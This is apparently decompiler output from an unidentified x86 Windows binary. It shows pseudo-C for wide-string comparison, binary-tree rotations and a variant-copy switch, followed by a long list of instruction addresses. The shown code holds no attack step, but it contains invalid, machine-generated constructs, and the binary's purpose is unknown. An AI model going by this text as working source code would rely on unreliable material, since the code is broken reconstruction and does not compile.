															if(__eflags != 0) {
																L108:
																_t1312 =  *0x4a9374; // 0x2f01ae8
																_t1230[7] = _t1312;
																_t1230[6] = _t1523;
																 *(_t1523 + 0x1c) = _t1495;
																goto L109;
															}
															L402:
															L98:
															if(_t1086 < _t1434) {
																L406:
																_t1089 = E0040C0E0( *_t1230,  *_t1523, _t1434);
																L106:
																_t1643 = _t1089 - _t1495;
																if(_t1643 < 0) {
																	goto L407;
																}
																L107:
																if(_t1643 <= 0) {
																	L408:
																	_t1230 = _t1523;
																	goto L109;
																}
																goto L108;
															}
															L99:
															if(_t1086 <= _t1495) {
																L404:
																_t1089 = 0;
																goto L106;
															} else {
																_t1314 =  *_t1523;
																_t1435 = _t1086;
																_t1090 =  *_t1230;
																L101:
																L101:
																if( *_t1090 !=  *_t1314) {
																	__eflags =  *_t1090 -  *_t1314;
																	if(__eflags < 0) {
																		_t1089 = _t1090 | 0xffffffff;
																		_t1495 = 0;
																	} else {
																		_t1089 = 1;
																		_t1495 = 0;
																		__eflags = 0;
																	}
																} else {
																	goto L102;
																}
																goto L106;
																L102:
																_t1090 = _t1090 + 2;
																_t1314 = _t1314 + 2;
																_t1435 = _t1435 - 1;
																if(_t1435 != 0) {
																	goto L101;
																} else {
																	_t1495 = 0;
																	goto L404;
																}
															}
														}
														L97:
														if(_t1434 == _t1495) {
															goto L401;
														}
														goto L98;
													}
													L386:
												}
												L85:
												if(_t1081 < _t1431) {
													L390:
													_t1102 = E0040C0E0( *_t1230,  *_t1523, _t1431);
													L93:
													_t1634 = _t1102 - _t1495;
													if(_t1634 < 0) {
														L391:
														_t634 = _t1523 + 0x18; // 0x18
														_t1082 = _t634;
														 *(_t1541 + 0x18) = _t1082;
														_t1083 =  *_t1082;
														__eflags = _t1083 - _t1495;
														if(__eflags == 0) {
															goto L96;
														}
														L392:
														 *(_t1541 + 0x4c) = _t1083;
														_t1091 = E00443711(_t1230, _t1083);
														_t1541 = _t1541 + 8;
														__eflags = _t1091;
														if(__eflags == 0) {
															L395:
															 *( *(_t1541 + 0x78) + 0x18) = _t1523;
															 *(_t1541 + 0x78) = _t1523;
															_t1523 =  *( *(_t1541 + 0x18));
															L83:
															_t1081 = _t1230[1];
															_t1431 =  *((intOrPtr*)(_t1523 + 4));
															if(_t1081 == _t1495) {
																goto L384;
															}
															goto L84;
														}
														L393:
														_t1093 =  *(_t1541 + 0x44);
														 *( *(_t1541 + 0x18)) =  *(_t1093 + 0x1c);
														 *(_t1093 + 0x1c) = _t1523;
														_t1523 = _t1093;
														__eflags =  *(_t1093 + 0x18) - _t1495;
														if(__eflags == 0) {
															goto L96;
														}
														L394:
														_t1094 = _t1093 + 0x18;
														__eflags = _t1094;
														 *(_t1541 + 0x18) = _t1094;
														goto L395;
													}
													L94:
													if(_t1634 <= 0) {
														goto L96;
													}
													goto L95;
												}
												L86:
												if(_t1081 <= _t1495) {
													L388:
													_t1102 = 0;
													goto L93;
												} else {
													_t1320 =  *_t1523;
													_t1439 = _t1081;
													_t1103 =  *_t1230;
													L88:
													L88:
													if( *_t1103 !=  *_t1320) {
														__eflags =  *_t1103 -  *_t1320;
														if(__eflags < 0) {
															_t1102 = _t1103 | 0xffffffff;
															_t1495 = 0;
														} else {
															_t1102 = 1;
															_t1495 = 0;
															__eflags = 0;
														}
													} else {
														goto L89;
													}
													goto L93;
													L89:
													_t1103 = _t1103 + 2;
													_t1320 = _t1320 + 2;
													_t1439 = _t1439 - 1;
													if(_t1439 != 0) {
														goto L88;
													} else {
														_t1495 = 0;
														goto L388;
													}
												}
												L384:
												__eflags = _t1431 - _t1495;
												if(_t1431 != _t1495) {
													goto L391;
												}
												goto L385;
											}
										} else {
											L74:
											_t1500 =  *(_t1541 + 0x18);
											_t1526 = _t1076;
											_t1104 =  *((intOrPtr*)(_t1500 + 8));
											 *((intOrPtr*)(_t1526 + 8)) = _t1104;
											_t1105 = _t1104 - 1;
											 *(_t1541 + 0x54) = _t1526;
											 *((intOrPtr*)(_t1526 + 0xc)) = 0;
											if(_t1105 > 0xb) {
												L79:
												_t1309 =  *(_t1541 + 0x54);
												goto L80;
											}
											L75:
											switch( *((intOrPtr*)(_t1105 * 4 +  &M0040AB18))) {
												case 0:
													L237:
													__eax =  *__edi;
													goto L238;
												case 1:
													L360:
													__eax =  *__edi;
													 *__esi = __eax;
													__ecx =  *(__edi + 4);
													 *(__esi + 4) = __ecx;
													goto L79;
												case 2:
													L361:
													__fp0 =  *__edi;
													_pop(es);
													 *__esi = __fp0;
													goto L79;
												case 3:
													L76:
													_push(0x10);
													_t1106 = E0041171A(_t1230, _t1500, _t1622);
													_t1541 = _t1541 + 4;
													if(_t1106 == 0) {
														_t1106 = 0;
													} else {
														_t1321 =  *((intOrPtr*)(_t1500 + 0xc));
														 *_t1106 =  *_t1321;
														 *((intOrPtr*)(_t1106 + 4)) =  *((intOrPtr*)(_t1321 + 4));
														 *((intOrPtr*)(_t1106 + 8)) =  *((intOrPtr*)(_t1321 + 8));
														_t1322 =  *((intOrPtr*)(_t1321 + 0xc));
														 *((intOrPtr*)(_t1106 + 0xc)) = _t1322;
														 *_t1322 =  *_t1322 + 1;
													}
													 *((intOrPtr*)(_t1526 + 0xc)) = _t1106;
													goto L79;
												case 4:
													L364:
													_push(0x214);
													__eax = E0041171A(__ebx, __edi, __eflags);
													__esp = __esp + 4;
													__eflags = __eax;
													if(__eax == 0) {
														__eax = 0;
														__eflags = 0;
													} else {
														__edx =  *(__esp + 0x18);
														__esi =  *__edx;
														__ecx = 0x85;
														__edi = __eax;
														__eax = memcpy(__eax, __esi, 0x85 << 2);
														__edi = __esi + __ecx;
														__edi = __esi + __ecx + __ecx;
														__ecx = 0;
													}
													__ecx =  *(__esp + 0x54);
													 *__ecx = __eax;
													__eflags =  *(__eax + 4);
													if(__eflags != 0) {
														__eax =  *(__eax + 4);
														 *__eax =  *__eax + 1;
													}
													goto L79;
												case 5:
													L363:
													__edx =  *__edi;
													 *__esi = __edx;
													goto L79;
												case 6:
													L369:
													__eflags =  *__edi;
													if (__eflags == 0) goto L79;
													asm("adc ecx, ecx");
													asm("std");
													switch([far dword [edx+0x10]) {
													}
												case 7:
													L374:
													__al =  *__edi;
													 *__esi = __al;
													goto L79;
												case 8:
													L375:
													_push(0x18);
													__eax = E0041171A(__ebx, __edi, __eflags);
													__esp = __esp + 4;
													__eflags = __eax;
													if(__eflags == 0) {
														goto L382;
													}
													L376:
													__ecx =  *__edi;
													__eax = E0044B8A7(__eax,  *__edi);
													goto L238;
												case 9:
													L377:
													_push(8);
													__eax = E0041171A(__ebx, __edi, __eflags);
													 *__esi = __eax;
													__edx =  *__edi;
													__ecx =  *( *__edi);
													 *__eax =  *( *__edi);
													__edx =  *__esi;
													__eax =  *( *__esi);
													__esp = __esp + 4;
													__eflags = __eax;
													if(__eflags == 0) {
														_push(1);
														__eax = E0041171A(__ebx, __edi, __eflags);
														__ecx =  *__esi;
														 *(__ecx + 4) = __eax;
														__edx =  *__esi;
														__eax =  *(__edx + 4);
														__esp = __esp + 4;
														 *__eax = 0;
													} else {
														_push(__eax);
														__eax = E0041171A(__ebx, __edi, __eflags);
														__ecx =  *__esi;
														 *( *__esi + 4) = __eax;
														__esi =  *__esi;
														__edx =  *__esi;
														__eax =  *__edi;
														__ecx =  *( *__edi + 4);
														__esp = __esp + 4;
														__edx =  *(__esi + 4);
														__eax = E00410F70(__ebx, __edi, __esi,  *(__esi + 4),  *( *__edi + 4),  *__esi);
													}
													goto L79;
												case 0xa:
													L380:
													_push(0x14);
													__eax = E0041171A(__ebx, __edi, __eflags);
													__esp = __esp + 4;
													__eflags = __eax;
													if(__eflags == 0) {
														L382:
														__eax = 0;
														L238:
														 *__esi = __eax;
														goto L79;
													}
													L381:
													__ecx =  *__edi;
													_push( *__edi);
													_push(__eax);
													__eax = E0046E9CD();
													goto L238;
											}
										}
									} else {
										 *((char*)(_t1541 + 0x4b)) = 0;
										if(( *0x4a937c & 0x00000001) == 0) {
											 *0x4a937c =  *0x4a937c | 0x00000001;
											E0044B3F6(0x4a935c);
											E00411421(__eflags, E00429283);
											_t1541 = _t1541 + 4;
											_t1073 = 0;
										}
										 *0x4a9378 = _t1073;
										 *0x4a9374 = _t1073;
										_t1124 = 0x4a935c;
										 *(_t1541 + 0x78) = 0x4a935c;
										while(1) {
											L50:
											 *(_t1541 + 0x54) = _t1124;
											while(1) {
												L51:
												_t1125 = _t1495[1];
												_t1335 =  *_t1242;
												_t1450 =  *(_t1335 + 4);
												if(_t1125 == 0) {
													goto L336;
												}
												L52:
												if(_t1450 == 0) {
													L337:
													__eflags = _t1125;
													if(__eflags != 0) {
														L63:
														_t1138 =  *( *_t1242 + 0x1c);
														if( *( *_t1242 + 0x1c) != 0) {
															L347:
															_t1139 = E00443711(_t1138, _t1495);
															_t1541 = _t1541 + 8;
															__eflags = _t1139;
															if(__eflags == 0) {
																L349:
																 *( *(_t1541 + 0x78) + 0x1c) =  *_t1242;
																_t1141 =  *_t1242;
																 *(_t1541 + 0x78) = _t1141;
																 *_t1242 =  *((intOrPtr*)(_t1141 + 0x1c));
																L51:
																_t1125 = _t1495[1];
																_t1335 =  *_t1242;
																_t1450 =  *(_t1335 + 4);
																if(_t1125 == 0) {
																	goto L336;
																}
																goto L52;
															}
															L348:
															_t1143 =  *( *_t1242 + 0x1c);
															 *( *_t1242 + 0x1c) =  *(_t1143 + 0x18);
															 *(_t1143 + 0x18) =  *_t1242;
															 *_t1242 = _t1143;
															__eflags =  *(_t1143 + 0x1c);
															if(__eflags == 0) {
																goto L64;
															}
															goto L349;
														}
														L64:
														_t1615 =  *((char*)(_t1541 + 0x4b));
														 *( *(_t1541 + 0x78) + 0x1c) =  *( *_t1242 + 0x18);
														 *( *(_t1541 + 0x54) + 0x18) =  *( *_t1242 + 0x1c);
														_t1338 =  *0x4a9378; // 0x0
														 *( *_t1242 + 0x18) = _t1338;
														_t1430 =  *_t1242;
														_t1131 =  *0x4a9374; // 0x2f01ae8
														 *( *_t1242 + 0x1c) = _t1131;
														if( *((char*)(_t1541 + 0x4b)) != 0) {
															L351:
															_t1242 =  *_t1242;
															__eflags = _t1242;
															if(__eflags == 0) {
																goto L65;
															}
															L352:
															_t1230 =  *(_t1242 + 0x14);
															E00409210( *(_t1242 + 0x14),  *(_t1541 + 0x18), _t1539,  *(_t1541 + 0x18));
															goto L111;
														}
														goto L65;
													}
													L338:
												}
												L53:
												if(_t1125 < _t1450) {
													L342:
													_t1145 = E0040C0E0( *_t1495,  *_t1335, _t1450);
													L61:
													_t1613 = _t1145;
													if(_t1613 < 0) {
														L343:
														_t1127 =  *( *_t1242 + 0x18);
														__eflags =  *( *_t1242 + 0x18);
														if(__eflags == 0) {
															goto L64;
														}
														L344:
														_t1133 = E00443711(_t1495, _t1127);
														_t1541 = _t1541 + 8;
														__eflags = _t1133;
														if(__eflags == 0) {
															L346:
															 *( *(_t1541 + 0x54) + 0x18) =  *_t1242;
															_t1124 =  *_t1242;
															 *_t1242 =  *((intOrPtr*)(_t1124 + 0x18));
															L50:
															 *(_t1541 + 0x54) = _t1124;
															continue;
														}
														L345:
														_t1136 =  *( *_t1242 + 0x18);
														 *( *_t1242 + 0x18) =  *(_t1136 + 0x1c);
														 *(_t1136 + 0x1c) =  *_t1242;
														 *_t1242 = _t1136;
														__eflags =  *(_t1136 + 0x18);
														if(__eflags == 0) {
															goto L64;
														}
														goto L346;
													}
													L62:
													if(_t1613 <= 0) {
														L350:
														 *((char*)(_t1541 + 0x4b)) = 1;
														goto L64;
													}
													goto L63;
												}
												L54:
												if(_t1125 <= 0) {
													L340:
													_t1145 = 0;
												} else {
													_t1346 =  *_t1335;
													_t1458 = _t1125;
													_t1146 =  *_t1495;
													while(1) {
														L56:
														_t1243 =  *_t1146;
														if(_t1243 !=  *_t1346) {
															break;
														}
														L57:
														_t1146 = _t1146 + 2;
														_t1346 = _t1346 + 2;
														_t1458 = _t1458 - 1;
														if(_t1458 != 0) {
															continue;
														} else {
															_t1242 =  *(_t1541 + 0x14);
															goto L340;
														}
													}
													L59:
													_t1242 =  *(_t1541 + 0x14);
													__eflags = _t1243 -  *_t1346;
													if(__eflags < 0) {
														_t1145 = _t1146 | 0xffffffff;
													} else {
														_t1145 = 1;
													}
												}
												goto L61;
												L336:
												__eflags = _t1450;
												if(_t1450 != 0) {
													goto L343;
												}
												goto L337;
											}
										}
									}
									L320:
									_t1490 =  *( *_t1418);
									__eflags = _t1490 - 0x24;
									if(_t1490 == 0x24) {
										L323:
										_t1518 = _t1518 + 1;
										_t1418 = _t1418 + 4;
										__eflags = _t1418;
										goto L324;
									}
									L321:
									__eflags = _t1490 - 0x1e;
									if(_t1490 != 0x1e) {
										goto L324;
									}
									L322:
									 *(_t1541 + 0x14) = 0x100;
									_t1031 =  *(_t1541 + 0x14);
									goto L323;
								}
							}
						}
						L579:
						E004092C0(_t1480, _t1541 + 0x20);
						E00434222(_t1230, _t1541 + 0x64, _t1390, _t1480);
						_t813 = _t1541 + 0x30; // 0x487630
						E00410AE0(_t813, _t1390, _t1480);
						_t820 = 1;
						goto L236;
					}
					L286:
					_t1480 =  *(_t1541 + 0x34);
					_t1504 =  *(_t1541 + 0x38);
					goto L19;
				}
			}



























































































































































































                                                                                                                                                                            0x0042d2cc
                                                                                                                                                                            0x0042d2cc
                                                                                                                                                                            0x0042d2cc
                                                                                                                                                                            0x0042d2cc
                                                                                                                                                                            0x0042d2cc
                                                                                                                                                                            0x0042d2cc
                                                                                                                                                                            0x0042d2d1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d2d3
                                                                                                                                                                            0x0042d2d5
                                                                                                                                                                            0x0042d2da
                                                                                                                                                                            0x0042d2de
                                                                                                                                                                            0x0042d2e0
                                                                                                                                                                            0x0042d2e6
                                                                                                                                                                            0x0042d2ea
                                                                                                                                                                            0x0042d2f4
                                                                                                                                                                            0x0042d2f6
                                                                                                                                                                            0x0042d2fc
                                                                                                                                                                            0x0042d2ff
                                                                                                                                                                            0x0042d305
                                                                                                                                                                            0x0042d308
                                                                                                                                                                            0x0042d310
                                                                                                                                                                            0x0042d310
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00409d9c
                                                                                                                                                                            0x00409d9c
                                                                                                                                                                            0x00409d9c
                                                                                                                                                                            0x00409da3
                                                                                                                                                                            0x00409da8
                                                                                                                                                                            0x00409dc1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00409dc7
                                                                                                                                                                            0x00409dc7
                                                                                                                                                                            0x00409ddc
                                                                                                                                                                            0x00409de0
                                                                                                                                                                            0x0042d3e2
                                                                                                                                                                            0x0042d3e2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00409de0
                                                                                                                                                                            0x00409de6
                                                                                                                                                                            0x00409de6
                                                                                                                                                                            0x00409de6
                                                                                                                                                                            0x00409dec
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00409dee
                                                                                                                                                                            0x00409dee
                                                                                                                                                                            0x00409e00
                                                                                                                                                                            0x0042d431
                                                                                                                                                                            0x0042d43b
                                                                                                                                                                            0x0042d43c
                                                                                                                                                                            0x0042e5ce
                                                                                                                                                                            0x0042e5d1
                                                                                                                                                                            0x0042e5d2
                                                                                                                                                                            0x0042e5d2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042e5d2
                                                                                                                                                                            0x00409e06
                                                                                                                                                                            0x00409e06
                                                                                                                                                                            0x00409e0d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00409e13
                                                                                                                                                                            0x00409e17
                                                                                                                                                                            0x00409e1d
                                                                                                                                                                            0x00409e2b
                                                                                                                                                                            0x00409e2d
                                                                                                                                                                            0x00409e2d
                                                                                                                                                                            0x00409e31
                                                                                                                                                                            0x00409e38
                                                                                                                                                                            0x00409e3d
                                                                                                                                                                            0x00409e44
                                                                                                                                                                            0x00409c92
                                                                                                                                                                            0x00409c96
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00409c9c
                                                                                                                                                                            0x00409ca7
                                                                                                                                                                            0x00409cab
                                                                                                                                                                            0x00409cb0
                                                                                                                                                                            0x00409cb2
                                                                                                                                                                            0x00409cb8
                                                                                                                                                                            0x0042d02d
                                                                                                                                                                            0x0042d02d
                                                                                                                                                                            0x0042d02f
                                                                                                                                                                            0x0042d031
                                                                                                                                                                            0x0042d034
                                                                                                                                                                            0x0042d041
                                                                                                                                                                            0x0042d041
                                                                                                                                                                            0x0042d044
                                                                                                                                                                            0x0042d3ec
                                                                                                                                                                            0x0042d3ec
                                                                                                                                                                            0x0042d3ee
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d04a
                                                                                                                                                                            0x0042d04a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d04a
                                                                                                                                                                            0x0042d03a
                                                                                                                                                                            0x0042d03a
                                                                                                                                                                            0x0042d03a
                                                                                                                                                                            0x0042d04f
                                                                                                                                                                            0x0042d04f
                                                                                                                                                                            0x0042d052
                                                                                                                                                                            0x0042d056
                                                                                                                                                                            0x0042d059
                                                                                                                                                                            0x0042d059
                                                                                                                                                                            0x0042d02d
                                                                                                                                                                            0x00409cbe
                                                                                                                                                                            0x00409ccc
                                                                                                                                                                            0x00409cce
                                                                                                                                                                            0x00409cce
                                                                                                                                                                            0x00409cd0
                                                                                                                                                                            0x00409cd0
                                                                                                                                                                            0x00409cd4
                                                                                                                                                                            0x00409cd8
                                                                                                                                                                            0x00409cda
                                                                                                                                                                            0x0040aa5b
                                                                                                                                                                            0x0040aa5d
                                                                                                                                                                            0x0040aa60
                                                                                                                                                                            0x0040aa62
                                                                                                                                                                            0x0040aa62
                                                                                                                                                                            0x0040aa69
                                                                                                                                                                            0x0040aa7b
                                                                                                                                                                            0x0040aa7c
                                                                                                                                                                            0x0040aa85
                                                                                                                                                                            0x0040aa92
                                                                                                                                                                            0x0040aa96
                                                                                                                                                                            0x0040aa9f
                                                                                                                                                                            0x0040aaa3
                                                                                                                                                                            0x0040aaac
                                                                                                                                                                            0x0040aaaf
                                                                                                                                                                            0x0040aaaf
                                                                                                                                                                            0x00409ce0
                                                                                                                                                                            0x00409ce0
                                                                                                                                                                            0x00409ce2
                                                                                                                                                                            0x00409ce7
                                                                                                                                                                            0x00409cec
                                                                                                                                                                            0x0042d065
                                                                                                                                                                            0x00409cf2
                                                                                                                                                                            0x00409cf2
                                                                                                                                                                            0x00409cf2
                                                                                                                                                                            0x00409cf4
                                                                                                                                                                            0x00409cf4
                                                                                                                                                                            0x00409cf8
                                                                                                                                                                            0x00409cfb
                                                                                                                                                                            0x00409cfc
                                                                                                                                                                            0x00409d02
                                                                                                                                                                            0x0042d06c
                                                                                                                                                                            0x0042d072
                                                                                                                                                                            0x0042d076
                                                                                                                                                                            0x0042d079
                                                                                                                                                                            0x0042d07e
                                                                                                                                                                            0x0042d3f8
                                                                                                                                                                            0x0042d3fe
                                                                                                                                                                            0x0042d401
                                                                                                                                                                            0x0042d408
                                                                                                                                                                            0x0042d409
                                                                                                                                                                            0x0042d40e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d40e
                                                                                                                                                                            0x0042d084
                                                                                                                                                                            0x0042d090
                                                                                                                                                                            0x0042d092
                                                                                                                                                                            0x0042d097
                                                                                                                                                                            0x0042d099
                                                                                                                                                                            0x0042d414
                                                                                                                                                                            0x0042d41e
                                                                                                                                                                            0x0042d421
                                                                                                                                                                            0x0042d428
                                                                                                                                                                            0x0042d429
                                                                                                                                                                            0x0042d42b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d42b
                                                                                                                                                                            0x0042d09f
                                                                                                                                                                            0x0042d09f
                                                                                                                                                                            0x0042d0a7
                                                                                                                                                                            0x0042d0d9
                                                                                                                                                                            0x0042d0d9
                                                                                                                                                                            0x0042d0dd
                                                                                                                                                                            0x0042d0e2
                                                                                                                                                                            0x0042d0e6
                                                                                                                                                                            0x0042d0ea
                                                                                                                                                                            0x0042d0ee
                                                                                                                                                                            0x0042d14a
                                                                                                                                                                            0x0042d14e
                                                                                                                                                                            0x0042d15c
                                                                                                                                                                            0x0042d164
                                                                                                                                                                            0x0042d168
                                                                                                                                                                            0x0042d16d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d16d
                                                                                                                                                                            0x0042d0f4
                                                                                                                                                                            0x0042d0f4
                                                                                                                                                                            0x0042d0fe
                                                                                                                                                                            0x0042d101
                                                                                                                                                                            0x0042d106
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d10c
                                                                                                                                                                            0x0042d10c
                                                                                                                                                                            0x0042d11b
                                                                                                                                                                            0x0042d120
                                                                                                                                                                            0x0042d122
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d128
                                                                                                                                                                            0x0042d12c
                                                                                                                                                                            0x0042d135
                                                                                                                                                                            0x0042d13e
                                                                                                                                                                            0x0042d143
                                                                                                                                                                            0x0040aa31
                                                                                                                                                                            0x0040aa37
                                                                                                                                                                            0x0040aa37
                                                                                                                                                                            0x0042d122
                                                                                                                                                                            0x0042d0ad
                                                                                                                                                                            0x0042d0ad
                                                                                                                                                                            0x0042d0b3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d0b9
                                                                                                                                                                            0x0042d0c3
                                                                                                                                                                            0x0042d0c6
                                                                                                                                                                            0x0042d0cd
                                                                                                                                                                            0x0042d0ce
                                                                                                                                                                            0x0042d0d3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d0d3
                                                                                                                                                                            0x00409d08
                                                                                                                                                                            0x00409d08
                                                                                                                                                                            0x00409d0e
                                                                                                                                                                            0x0042d177
                                                                                                                                                                            0x0042d17c
                                                                                                                                                                            0x0042d17c
                                                                                                                                                                            0x00409d14
                                                                                                                                                                            0x00409d14
                                                                                                                                                                            0x00409d1b
                                                                                                                                                                            0x0042d189
                                                                                                                                                                            0x0042d18d
                                                                                                                                                                            0x0042d18f
                                                                                                                                                                            0x0042d196
                                                                                                                                                                            0x0042d19c
                                                                                                                                                                            0x0042d1a1
                                                                                                                                                                            0x0042d1a6
                                                                                                                                                                            0x0042d1a6
                                                                                                                                                                            0x00409d21
                                                                                                                                                                            0x00409d24
                                                                                                                                                                            0x0042d1ae
                                                                                                                                                                            0x0042d1b2
                                                                                                                                                                            0x0042d1b4
                                                                                                                                                                            0x0042d1bb
                                                                                                                                                                            0x0042d1bb
                                                                                                                                                                            0x00409d2a
                                                                                                                                                                            0x00409d2d
                                                                                                                                                                            0x0042d1c9
                                                                                                                                                                            0x00409d33
                                                                                                                                                                            0x00409d36
                                                                                                                                                                            0x0042d1db
                                                                                                                                                                            0x0042d1e0
                                                                                                                                                                            0x0042d1e8
                                                                                                                                                                            0x0042d1ed
                                                                                                                                                                            0x00409d3c
                                                                                                                                                                            0x00409d3f
                                                                                                                                                                            0x0042d1f5
                                                                                                                                                                            0x0042d1f9
                                                                                                                                                                            0x0042d1fb
                                                                                                                                                                            0x0042d202
                                                                                                                                                                            0x0042d202
                                                                                                                                                                            0x0042d1fb
                                                                                                                                                                            0x00409d3f
                                                                                                                                                                            0x00409d36
                                                                                                                                                                            0x00409d2d
                                                                                                                                                                            0x00409d24
                                                                                                                                                                            0x00409d45
                                                                                                                                                                            0x00409d45
                                                                                                                                                                            0x00409d49
                                                                                                                                                                            0x00409d4d
                                                                                                                                                                            0x00409d55
                                                                                                                                                                            0x00409d5d
                                                                                                                                                                            0x00409d5f
                                                                                                                                                                            0x0040aab8
                                                                                                                                                                            0x0040aaba
                                                                                                                                                                            0x0040aabd
                                                                                                                                                                            0x0040aabf
                                                                                                                                                                            0x0040aabf
                                                                                                                                                                            0x0040aac6
                                                                                                                                                                            0x0040aacf
                                                                                                                                                                            0x0040aad8
                                                                                                                                                                            0x0040aad9
                                                                                                                                                                            0x0040aade
                                                                                                                                                                            0x0040aae2
                                                                                                                                                                            0x0040aaf1
                                                                                                                                                                            0x0040aafa
                                                                                                                                                                            0x0040aaff
                                                                                                                                                                            0x0040ab02
                                                                                                                                                                            0x0040ab02
                                                                                                                                                                            0x00409d65
                                                                                                                                                                            0x00409d65
                                                                                                                                                                            0x00409d69
                                                                                                                                                                            0x00409d6b
                                                                                                                                                                            0x00409d70
                                                                                                                                                                            0x00409d75
                                                                                                                                                                            0x0042d3db
                                                                                                                                                                            0x0042d3db
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d3db
                                                                                                                                                                            0x00409d7b
                                                                                                                                                                            0x00409d7b
                                                                                                                                                                            0x00409d7d
                                                                                                                                                                            0x00409d81
                                                                                                                                                                            0x00409d84
                                                                                                                                                                            0x00409d8e
                                                                                                                                                                            0x0042d20c
                                                                                                                                                                            0x0042d20c
                                                                                                                                                                            0x0042d20d
                                                                                                                                                                            0x0042d210
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d216
                                                                                                                                                                            0x0042d216
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d25d
                                                                                                                                                                            0x0042d25d
                                                                                                                                                                            0x0042d261
                                                                                                                                                                            0x0042d263
                                                                                                                                                                            0x0042d267
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d26f
                                                                                                                                                                            0x0042d26f
                                                                                                                                                                            0x0042d270
                                                                                                                                                                            0x0042d271
                                                                                                                                                                            0x0042d273
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d21d
                                                                                                                                                                            0x0042d21d
                                                                                                                                                                            0x0042d21f
                                                                                                                                                                            0x0042d224
                                                                                                                                                                            0x0042d227
                                                                                                                                                                            0x0042d229
                                                                                                                                                                            0x0042d255
                                                                                                                                                                            0x0042d22f
                                                                                                                                                                            0x0042d22f
                                                                                                                                                                            0x0042d235
                                                                                                                                                                            0x0042d23a
                                                                                                                                                                            0x0042d23d
                                                                                                                                                                            0x0042d240
                                                                                                                                                                            0x0042d243
                                                                                                                                                                            0x0042d246
                                                                                                                                                                            0x0042d249
                                                                                                                                                                            0x0042d24b
                                                                                                                                                                            0x0042d24b
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d285
                                                                                                                                                                            0x0042d285
                                                                                                                                                                            0x0042d28a
                                                                                                                                                                            0x0042d28f
                                                                                                                                                                            0x0042d292
                                                                                                                                                                            0x0042d294
                                                                                                                                                                            0x0042d2ac
                                                                                                                                                                            0x0042d2ac
                                                                                                                                                                            0x0042d29a
                                                                                                                                                                            0x0042d29a
                                                                                                                                                                            0x0042d29e
                                                                                                                                                                            0x0042d2a3
                                                                                                                                                                            0x0042d2a5
                                                                                                                                                                            0x0042d2a5
                                                                                                                                                                            0x0042d2a5
                                                                                                                                                                            0x0042d2a5
                                                                                                                                                                            0x0042d2a5
                                                                                                                                                                            0x0042d2ae
                                                                                                                                                                            0x0042d2b0
                                                                                                                                                                            0x0042d2b4
                                                                                                                                                                            0x0042d2ba
                                                                                                                                                                            0x0042d2bd
                                                                                                                                                                            0x0042d2bd
                                                                                                                                                                            0x0042d2bd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d27a
                                                                                                                                                                            0x0042d27a
                                                                                                                                                                            0x0042d27e
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d31b
                                                                                                                                                                            0x0042d31f
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d326
                                                                                                                                                                            0x0042d326
                                                                                                                                                                            0x0042d328
                                                                                                                                                                            0x0042d32d
                                                                                                                                                                            0x0042d330
                                                                                                                                                                            0x0042d332
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d338
                                                                                                                                                                            0x0042d338
                                                                                                                                                                            0x0042d343
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00409d9a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d353
                                                                                                                                                                            0x0042d353
                                                                                                                                                                            0x0042d355
                                                                                                                                                                            0x0042d35a
                                                                                                                                                                            0x0042d35c
                                                                                                                                                                            0x0042d360
                                                                                                                                                                            0x0042d362
                                                                                                                                                                            0x0042d364
                                                                                                                                                                            0x0042d366
                                                                                                                                                                            0x0042d368
                                                                                                                                                                            0x0042d36b
                                                                                                                                                                            0x0042d36d
                                                                                                                                                                            0x0042d39f
